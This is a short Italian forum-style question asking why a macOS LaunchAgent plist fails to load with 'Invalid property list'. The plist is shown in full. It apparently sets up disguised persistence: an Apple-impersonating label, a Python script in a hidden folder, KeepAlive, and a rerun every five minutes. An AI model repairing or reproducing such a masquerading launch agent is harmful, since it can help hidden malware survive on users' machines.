Sto ottenendo Invalid property list
quando provo launchctl load -w /Users/open/Library/LaunchAgents/com.apple.inMemTask14.plist
per questo .plist:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>KeepAlive</key>
<true/>
<key>Label</key>
<string>com.apple.inMemTask14</string>
<key>ProgramArguments</key>
<array>
<string>/Users/open/Library/Containers/.heheosx/MacOSHighSierra.py</string>
</array>
<key>StartInterval</key>
<integer>300</integer>
<true/>
</dict>
</plist>
Cosa c'è di sbagliato nella mia lista che ottengo questo errore?